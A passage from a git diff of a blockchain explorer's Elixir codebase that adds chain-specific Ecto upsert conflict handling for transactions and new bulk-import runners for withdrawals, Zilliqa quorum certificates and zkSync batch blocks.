inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", transaction.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", transaction.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.block_hash, EXCLUDED.block_number, EXCLUDED.block_consensus, EXCLUDED.block_timestamp, EXCLUDED.created_contract_address_hash, EXCLUDED.created_contract_code_indexed_at, EXCLUDED.cumulative_gas_used, EXCLUDED.from_address_hash, EXCLUDED.gas, EXCLUDED.gas_price, EXCLUDED.gas_used, EXCLUDED.index, EXCLUDED.input, EXCLUDED.nonce, EXCLUDED.r, EXCLUDED.s, EXCLUDED.status, EXCLUDED.to_address_hash, EXCLUDED.v, EXCLUDED.value, EXCLUDED.earliest_processing_start, EXCLUDED.revert_reason, EXCLUDED.max_priority_fee_per_gas, EXCLUDED.max_fee_per_gas, EXCLUDED.type, EXCLUDED.l1_fee, EXCLUDED.l1_fee_scalar, EXCLUDED.l1_gas_price, EXCLUDED.l1_gas_used, EXCLUDED.l1_transaction_origin, EXCLUDED.l1_block_number) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + transaction.block_hash, + transaction.block_number, + transaction.block_consensus, + transaction.block_timestamp, + transaction.created_contract_address_hash, + transaction.created_contract_code_indexed_at, + transaction.cumulative_gas_used, + transaction.from_address_hash, + transaction.gas, + transaction.gas_price, + transaction.gas_used, + transaction.index, + transaction.input, + transaction.nonce, + transaction.r, + transaction.s, + transaction.status, + transaction.to_address_hash, + transaction.v, + transaction.value, + transaction.earliest_processing_start, + transaction.revert_reason, + transaction.max_priority_fee_per_gas, + transaction.max_fee_per_gas, + transaction.type, + transaction.l1_fee, + transaction.l1_fee_scalar, + transaction.l1_gas_price, + transaction.l1_gas_used, + transaction.l1_transaction_origin, + transaction.l1_block_number + ) + ) + end + + :arbitrum -> + defp default_on_conflict do + from( + transaction in Transaction, + update: [ + set: [ + block_hash: fragment("EXCLUDED.block_hash"), + old_block_hash: transaction.block_hash, + block_number: fragment("EXCLUDED.block_number"), + block_consensus: fragment("EXCLUDED.block_consensus"), + block_timestamp: fragment("EXCLUDED.block_timestamp"), + created_contract_address_hash: fragment("EXCLUDED.created_contract_address_hash"), + created_contract_code_indexed_at: fragment("EXCLUDED.created_contract_code_indexed_at"), + cumulative_gas_used: fragment("EXCLUDED.cumulative_gas_used"), + error: fragment("EXCLUDED.error"), + from_address_hash: fragment("EXCLUDED.from_address_hash"), + gas: fragment("EXCLUDED.gas"), + gas_price: fragment("EXCLUDED.gas_price"), + gas_used: fragment("EXCLUDED.gas_used"), + index: fragment("EXCLUDED.index"), + input: fragment("EXCLUDED.input"), + nonce: fragment("EXCLUDED.nonce"), + r: fragment("EXCLUDED.r"), + s: fragment("EXCLUDED.s"), + status: fragment("EXCLUDED.status"), + to_address_hash: fragment("EXCLUDED.to_address_hash"), + v: fragment("EXCLUDED.v"), + value: fragment("EXCLUDED.value"), + earliest_processing_start: fragment("EXCLUDED.earliest_processing_start"), + revert_reason: fragment("EXCLUDED.revert_reason"), + max_priority_fee_per_gas: fragment("EXCLUDED.max_priority_fee_per_gas"), + max_fee_per_gas: fragment("EXCLUDED.max_fee_per_gas"), + type: fragment("EXCLUDED.type"), + gas_used_for_l1: fragment("EXCLUDED.gas_used_for_l1"), + # Don't update `hash` as it is part of the primary key and used for the conflict target + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", transaction.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", transaction.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.block_hash, EXCLUDED.block_number, EXCLUDED.block_consensus, EXCLUDED.block_timestamp, EXCLUDED.created_contract_address_hash, EXCLUDED.created_contract_code_indexed_at, EXCLUDED.cumulative_gas_used, EXCLUDED.from_address_hash, EXCLUDED.gas, EXCLUDED.gas_price, EXCLUDED.gas_used, EXCLUDED.index, EXCLUDED.input, EXCLUDED.nonce, EXCLUDED.r, EXCLUDED.s, EXCLUDED.status, EXCLUDED.to_address_hash, EXCLUDED.v, EXCLUDED.value, EXCLUDED.earliest_processing_start, EXCLUDED.revert_reason, EXCLUDED.max_priority_fee_per_gas, EXCLUDED.max_fee_per_gas, EXCLUDED.type, EXCLUDED.gas_used_for_l1) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + transaction.block_hash, + transaction.block_number, + transaction.block_consensus, + transaction.block_timestamp, + transaction.created_contract_address_hash, + transaction.created_contract_code_indexed_at, + transaction.cumulative_gas_used, + transaction.from_address_hash, + transaction.gas, + transaction.gas_price, + transaction.gas_used, + transaction.index, + transaction.input, + transaction.nonce, + transaction.r, + transaction.s, + transaction.status, + transaction.to_address_hash, + transaction.v, + transaction.value, + transaction.earliest_processing_start, + transaction.revert_reason, + transaction.max_priority_fee_per_gas, + transaction.max_fee_per_gas, + transaction.type, + transaction.gas_used_for_l1 + ) + ) + end + + :celo -> + defp default_on_conflict do + from( + transaction in Transaction, + update: [ + set: [ + block_hash: fragment("EXCLUDED.block_hash"), + old_block_hash: transaction.block_hash, + block_number: fragment("EXCLUDED.block_number"), + block_consensus: fragment("EXCLUDED.block_consensus"), + block_timestamp: fragment("EXCLUDED.block_timestamp"), + created_contract_address_hash: fragment("EXCLUDED.created_contract_address_hash"), + created_contract_code_indexed_at: fragment("EXCLUDED.created_contract_code_indexed_at"), + cumulative_gas_used: fragment("EXCLUDED.cumulative_gas_used"), + error: fragment("EXCLUDED.error"), + from_address_hash: fragment("EXCLUDED.from_address_hash"), + gas: fragment("EXCLUDED.gas"), + gas_price: fragment("EXCLUDED.gas_price"), + gas_used: fragment("EXCLUDED.gas_used"), + index: fragment("EXCLUDED.index"), + input: fragment("EXCLUDED.input"), + nonce: fragment("EXCLUDED.nonce"), + r: fragment("EXCLUDED.r"), + s: fragment("EXCLUDED.s"), + status: fragment("EXCLUDED.status"), + to_address_hash: fragment("EXCLUDED.to_address_hash"), + v: fragment("EXCLUDED.v"), + value: fragment("EXCLUDED.value"), + earliest_processing_start: fragment("EXCLUDED.earliest_processing_start"), + revert_reason: fragment("EXCLUDED.revert_reason"), + max_priority_fee_per_gas: fragment("EXCLUDED.max_priority_fee_per_gas"), + max_fee_per_gas: fragment("EXCLUDED.max_fee_per_gas"), + type: fragment("EXCLUDED.type"), + # Don't update `hash` as it is part of the primary key and used for the conflict target + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", transaction.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", transaction.updated_at), + # Celo custom fields + gas_token_contract_address_hash: fragment("EXCLUDED.gas_token_contract_address_hash"), + gas_fee_recipient_address_hash: fragment("EXCLUDED.gas_fee_recipient_address_hash"), + gateway_fee: fragment("EXCLUDED.gateway_fee") + ] + ], + where: + fragment( + "(EXCLUDED.block_hash, EXCLUDED.block_number, EXCLUDED.block_consensus, EXCLUDED.block_timestamp, EXCLUDED.created_contract_address_hash, EXCLUDED.created_contract_code_indexed_at, EXCLUDED.cumulative_gas_used, EXCLUDED.from_address_hash, EXCLUDED.gas, EXCLUDED.gas_price, EXCLUDED.gas_used, EXCLUDED.index, EXCLUDED.input, EXCLUDED.nonce, EXCLUDED.r, EXCLUDED.s, EXCLUDED.status, EXCLUDED.to_address_hash, EXCLUDED.v, EXCLUDED.value, EXCLUDED.earliest_processing_start, EXCLUDED.revert_reason, EXCLUDED.max_priority_fee_per_gas, EXCLUDED.max_fee_per_gas, EXCLUDED.type, EXCLUDED.gas_token_contract_address_hash, EXCLUDED.gas_fee_recipient_address_hash, EXCLUDED.gateway_fee) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + transaction.block_hash, + transaction.block_number, + transaction.block_consensus, + transaction.block_timestamp, + transaction.created_contract_address_hash, + transaction.created_contract_code_indexed_at, + transaction.cumulative_gas_used, + transaction.from_address_hash, + transaction.gas, + transaction.gas_price, + transaction.gas_used, + transaction.index, + transaction.input, + transaction.nonce, + transaction.r, + transaction.s, + transaction.status, + transaction.to_address_hash, + transaction.v, + transaction.value, + transaction.earliest_processing_start, + transaction.revert_reason, + transaction.max_priority_fee_per_gas, + transaction.max_fee_per_gas, + transaction.type, + transaction.gas_token_contract_address_hash, + transaction.gas_fee_recipient_address_hash, + transaction.gateway_fee + ) + ) + end + + :scroll -> + defp default_on_conflict do + from( + transaction in Transaction, + update: [ + set: [ + block_hash: fragment("EXCLUDED.block_hash"), + old_block_hash: transaction.block_hash, + block_number: fragment("EXCLUDED.block_number"), + block_consensus: fragment("EXCLUDED.block_consensus"), + block_timestamp: fragment("EXCLUDED.block_timestamp"), + created_contract_address_hash: fragment("EXCLUDED.created_contract_address_hash"), + created_contract_code_indexed_at: fragment("EXCLUDED.created_contract_code_indexed_at"), + cumulative_gas_used: fragment("EXCLUDED.cumulative_gas_used"), + error: fragment("EXCLUDED.error"), + from_address_hash: fragment("EXCLUDED.from_address_hash"), + gas: fragment("EXCLUDED.gas"), + gas_price: fragment("EXCLUDED.gas_price"), + gas_used: fragment("EXCLUDED.gas_used"), + index: fragment("EXCLUDED.index"), + input: fragment("EXCLUDED.input"), + nonce: fragment("EXCLUDED.nonce"), + r: fragment("EXCLUDED.r"), + s: fragment("EXCLUDED.s"), + status: fragment("EXCLUDED.status"), + to_address_hash: fragment("EXCLUDED.to_address_hash"), + v: fragment("EXCLUDED.v"), + value: fragment("EXCLUDED.value"), + earliest_processing_start: fragment("EXCLUDED.earliest_processing_start"), + revert_reason: fragment("EXCLUDED.revert_reason"), + max_priority_fee_per_gas: fragment("EXCLUDED.max_priority_fee_per_gas"), + max_fee_per_gas: fragment("EXCLUDED.max_fee_per_gas"), + type: fragment("EXCLUDED.type"), + l1_fee: fragment("EXCLUDED.l1_fee"), + queue_index: fragment("EXCLUDED.queue_index"), + # Don't update `hash` as it is part of the primary key and used for the conflict target + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", transaction.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", transaction.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.block_hash, EXCLUDED.block_number, EXCLUDED.block_consensus, EXCLUDED.block_timestamp, EXCLUDED.created_contract_address_hash, EXCLUDED.created_contract_code_indexed_at, EXCLUDED.cumulative_gas_used, EXCLUDED.from_address_hash, EXCLUDED.gas, EXCLUDED.gas_price, EXCLUDED.gas_used, EXCLUDED.index, EXCLUDED.input, EXCLUDED.nonce, EXCLUDED.r, EXCLUDED.s, EXCLUDED.status, EXCLUDED.to_address_hash, EXCLUDED.v, EXCLUDED.value, EXCLUDED.earliest_processing_start, EXCLUDED.revert_reason, EXCLUDED.max_priority_fee_per_gas, EXCLUDED.max_fee_per_gas, EXCLUDED.type, EXCLUDED.l1_fee, EXCLUDED.queue_index) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + transaction.block_hash, + transaction.block_number, + transaction.block_consensus, + transaction.block_timestamp, + transaction.created_contract_address_hash, + transaction.created_contract_code_indexed_at, + transaction.cumulative_gas_used, + transaction.from_address_hash, + transaction.gas, + transaction.gas_price, + transaction.gas_used, + transaction.index, + transaction.input, + transaction.nonce, + transaction.r, + transaction.s, + transaction.status, + transaction.to_address_hash, + transaction.v, + transaction.value, + transaction.earliest_processing_start, + transaction.revert_reason, + transaction.max_priority_fee_per_gas, + transaction.max_fee_per_gas, + transaction.type, + transaction.l1_fee, + transaction.queue_index + ) + ) + end + + _ -> + defp default_on_conflict do + from( + transaction in Transaction, + update: [ + set: [ + block_hash: fragment("EXCLUDED.block_hash"), + old_block_hash: transaction.block_hash, + block_number: fragment("EXCLUDED.block_number"), + block_consensus: fragment("EXCLUDED.block_consensus"), + block_timestamp: fragment("EXCLUDED.block_timestamp"), + created_contract_address_hash: fragment("EXCLUDED.created_contract_address_hash"), + created_contract_code_indexed_at: fragment("EXCLUDED.created_contract_code_indexed_at"), + cumulative_gas_used: fragment("EXCLUDED.cumulative_gas_used"), + error: fragment("EXCLUDED.error"), + from_address_hash: fragment("EXCLUDED.from_address_hash"), + gas: fragment("EXCLUDED.gas"), + gas_price: fragment("EXCLUDED.gas_price"), + gas_used: fragment("EXCLUDED.gas_used"), + index: fragment("EXCLUDED.index"), + input: fragment("EXCLUDED.input"), + nonce: fragment("EXCLUDED.nonce"), + r: fragment("EXCLUDED.r"), + s: fragment("EXCLUDED.s"), + status: fragment("EXCLUDED.status"), + to_address_hash: fragment("EXCLUDED.to_address_hash"), + v: fragment("EXCLUDED.v"), + value: fragment("EXCLUDED.value"), + earliest_processing_start: fragment("EXCLUDED.earliest_processing_start"), + revert_reason: fragment("EXCLUDED.revert_reason"), + max_priority_fee_per_gas: fragment("EXCLUDED.max_priority_fee_per_gas"), + max_fee_per_gas: fragment("EXCLUDED.max_fee_per_gas"), + type: fragment("EXCLUDED.type"), + # Don't update `hash` as it is part of the primary key and used for the conflict target + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", transaction.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", transaction.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.block_hash, EXCLUDED.block_number, EXCLUDED.block_consensus, EXCLUDED.block_timestamp, EXCLUDED.created_contract_address_hash, EXCLUDED.created_contract_code_indexed_at, EXCLUDED.cumulative_gas_used, EXCLUDED.from_address_hash, EXCLUDED.gas, EXCLUDED.gas_price, EXCLUDED.gas_used, EXCLUDED.index, EXCLUDED.input, EXCLUDED.nonce, EXCLUDED.r, EXCLUDED.s, EXCLUDED.status, EXCLUDED.to_address_hash, EXCLUDED.v, EXCLUDED.value, EXCLUDED.earliest_processing_start, EXCLUDED.revert_reason, EXCLUDED.max_priority_fee_per_gas, EXCLUDED.max_fee_per_gas, EXCLUDED.type) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + transaction.block_hash, + transaction.block_number, + transaction.block_consensus, + transaction.block_timestamp, + transaction.created_contract_address_hash, + transaction.created_contract_code_indexed_at, + transaction.cumulative_gas_used, + transaction.from_address_hash, + transaction.gas, + transaction.gas_price, + transaction.gas_used, + transaction.index, + transaction.input, + transaction.nonce, + transaction.r, + transaction.s, + transaction.status, + transaction.to_address_hash, + transaction.v, + transaction.value, + transaction.earliest_processing_start, + transaction.revert_reason, + transaction.max_priority_fee_per_gas, + transaction.max_fee_per_gas, + transaction.type + ) + ) + end end defp discard_blocks_for_recollated_transactions(repo, changes_list, %{ @@ -184,12 +647,13 @@ defmodule Explorer.Chain.Import.Runner.Transactions do ), on: transaction.hash == new_transaction.hash, where: transaction.block_hash != new_transaction.block_hash, - select: transaction.block_hash + select: %{hash: transaction.hash, block_hash: transaction.block_hash} ) block_hashes = blocks_with_recollated_transactions |> repo.all() + |> Enum.map(fn %{block_hash: block_hash} -> block_hash end) |> Enum.uniq() if Enum.empty?(block_hashes) do @@ -201,17 +665,51 @@ defmodule Explorer.Chain.Import.Runner.Transactions do where: block.hash in ^block_hashes, # Enforce Block ShareLocks order (see docs: sharelocks.md) order_by: [asc: block.hash], - lock: "FOR UPDATE" + lock: "FOR NO KEY UPDATE" ) + transactions_query = + from( + transaction in Transaction, + where: transaction.block_hash in ^block_hashes, + # Enforce Transaction ShareLocks order (see docs: sharelocks.md) + order_by: [asc: :hash], + lock: "FOR NO KEY UPDATE" + ) + + transactions_replacements = [ + block_hash: nil, + block_number: nil, + gas_used: nil, + cumulative_gas_used: nil, + index: nil, + status: nil, + error: nil, + max_priority_fee_per_gas: nil, + max_fee_per_gas: nil, + type: nil, + updated_at: updated_at + ] + try do {_, result} = repo.update_all( - from(b in Block, join: s in subquery(query), on: b.hash == s.hash), - [set: [consensus: false, updated_at: updated_at]], + from(b in Block, join: s in subquery(query), on: b.hash == s.hash, select: b.number), + [set: [refetch_needed: true, updated_at: updated_at]], + timeout: timeout + ) + + {_, transaction_hashes} = + repo.update_all( + from(t in Transaction, join: s in subquery(transactions_query), on: t.hash == s.hash, select: t.hash), + [set: transactions_replacements], timeout: timeout ) + PendingOperationsHelper.delete_related_transaction_operations(transaction_hashes) + + MissingRangesManipulator.add_ranges_by_block_numbers(result) + {:ok, result} rescue postgrex_error in Postgrex.Error -> diff --git a/apps/explorer/lib/explorer/chain/import/runner/withdrawals.ex b/apps/explorer/lib/explorer/chain/import/runner/withdrawals.ex new file mode 100644 index 000000000000..1c84df614110 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/withdrawals.ex @@ -0,0 +1,106 @@ +defmodule Explorer.Chain.Import.Runner.Withdrawals do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Withdrawal.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.{Import, Withdrawal} + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [Withdrawal.t()] + + @impl Import.Runner + def ecto_schema_module, do: Withdrawal + + @impl Import.Runner + def option_key, do: :withdrawals + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :withdrawals, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :withdrawals, + :withdrawals + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{ + optional(:on_conflict) => Import.Runner.on_conflict(), + required(:timeout) => timeout, + required(:timestamps) => Import.timestamps() + }) :: + {:ok, [Withdrawal.t()]} + | {:error, [Changeset.t()]} + defp insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce Withdrawal ShareLocks order (see docs: sharelocks.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.index) + + {:ok, _} = + Import.insert_changes_list( + repo, + ordered_changes_list, + conflict_target: [:index], + on_conflict: on_conflict, + for: Withdrawal, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + end + + defp default_on_conflict do + from( + withdrawal in Withdrawal, + update: [ + set: [ + validator_index: fragment("EXCLUDED.validator_index"), + amount: fragment("EXCLUDED.amount"), + address_hash: fragment("EXCLUDED.address_hash"), + block_hash: fragment("EXCLUDED.block_hash"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", withdrawal.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", withdrawal.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.validator_index, EXCLUDED.amount, EXCLUDED.address_hash, EXCLUDED.block_hash) IS DISTINCT FROM (?, ?, ?, ?)", + withdrawal.validator_index, + withdrawal.amount, + withdrawal.address_hash, + withdrawal.block_hash + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/zilliqa/aggregate_quorum_certificates.ex b/apps/explorer/lib/explorer/chain/import/runner/zilliqa/aggregate_quorum_certificates.ex new file mode 100644 index 000000000000..42a2b00357a3 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/zilliqa/aggregate_quorum_certificates.ex @@ -0,0 +1,79 @@ +defmodule Explorer.Chain.Import.Runner.Zilliqa.AggregateQuorumCertificates do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Zilliqa.AggregateQuorumCertificate.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Zilliqa.AggregateQuorumCertificate + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [AggregateQuorumCertificate.t()] + + @impl Import.Runner + def ecto_schema_module, do: AggregateQuorumCertificate + + @impl Import.Runner + def option_key, do: :zilliqa_aggregate_quorum_certificates + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_zilliqa_aggregate_quorum_certificates, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :zilliqa_aggregate_quorum_certificates, + :zilliqa_aggregate_quorum_certificates + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [AggregateQuorumCertificate.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = _options) when is_list(changes_list) do + # Enforce Zilliqa.AggregateQuorumCertificate ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.block_hash) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: AggregateQuorumCertificate, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :block_hash, + on_conflict: :nothing + ) + + {:ok, inserted} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/zilliqa/nested_quorum_certificates.ex b/apps/explorer/lib/explorer/chain/import/runner/zilliqa/nested_quorum_certificates.ex new file mode 100644 index 000000000000..78cc04979803 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/zilliqa/nested_quorum_certificates.ex @@ -0,0 +1,86 @@ +defmodule Explorer.Chain.Import.Runner.Zilliqa.NestedQuorumCertificates do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Zilliqa.NestedQuorumCertificate.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Zilliqa.NestedQuorumCertificate + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [NestedQuorumCertificate.t()] + + @impl Import.Runner + def ecto_schema_module, do: NestedQuorumCertificate + + @impl Import.Runner + def option_key, do: :zilliqa_nested_quorum_certificates + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_zilliqa_nested_quorum_certificates, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :zilliqa_nested_quorum_certificates, + :zilliqa_nested_quorum_certificates + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [NestedQuorumCertificate.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = _options) when is_list(changes_list) do + # Enforce Zilliqa.NestedQuorumCertificate ShareLocks order (see docs: sharelock.md) + ordered_changes_list = + Enum.sort_by( + changes_list, + &{&1.block_hash, &1.proposed_by_validator_index} + ) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: NestedQuorumCertificate, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: [ + :block_hash, + :proposed_by_validator_index + ], + on_conflict: :nothing + ) + + {:ok, inserted} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/zilliqa/quorum_certificates.ex b/apps/explorer/lib/explorer/chain/import/runner/zilliqa/quorum_certificates.ex new file mode 100644 index 000000000000..e7b876910a8b --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/zilliqa/quorum_certificates.ex @@ -0,0 +1,79 @@ +defmodule Explorer.Chain.Import.Runner.Zilliqa.QuorumCertificates do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Zilliqa.QuorumCertificate.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Zilliqa.QuorumCertificate + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [QuorumCertificate.t()] + + @impl Import.Runner + def ecto_schema_module, do: QuorumCertificate + + @impl Import.Runner + def option_key, do: :zilliqa_quorum_certificates + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_zilliqa_quorum_certificates, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :zilliqa_quorum_certificates, + :zilliqa_quorum_certificates + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [QuorumCertificate.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = _options) when is_list(changes_list) do + # Enforce Zilliqa.QuorumCertificate ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.block_hash) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: QuorumCertificate, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :block_hash, + on_conflict: :nothing + ) + + {:ok, inserted} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/zksync/batch_blocks.ex b/apps/explorer/lib/explorer/chain/import/runner/zksync/batch_blocks.ex new file mode 100644 index 000000000000..33d075e93588 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/zksync/batch_blocks.ex @@ -0,0 +1,79 @@ +defmodule Explorer.Chain.Import.Runner.ZkSync.BatchBlocks do + @moduledoc """ + Bulk imports `t:Explorer.Chain.ZkSync.BatchBlock.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.ZkSync.BatchBlock + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [BatchBlock.t()] + + @impl Import.Runner + def ecto_schema_module, do: BatchBlock + + @impl Import.Runner + def option_key, do: :zksync_batch_blocks + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_zksync_batch_blocks, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :zksync_batch_blocks, + :zksync_batch_blocks + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [BatchBlock.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = _options) when is_list(changes_list) do + # Enforce ZkSync.BatchBlock ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.hash) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: BatchBlock, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :hash, + on_conflict: :nothing + ) + + {:ok, inserted} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/zksync/batch_transactions.ex b/apps/explorer/lib/explorer/chain/import/runner/zksync/batch_transactions.ex new file mode 100644 index 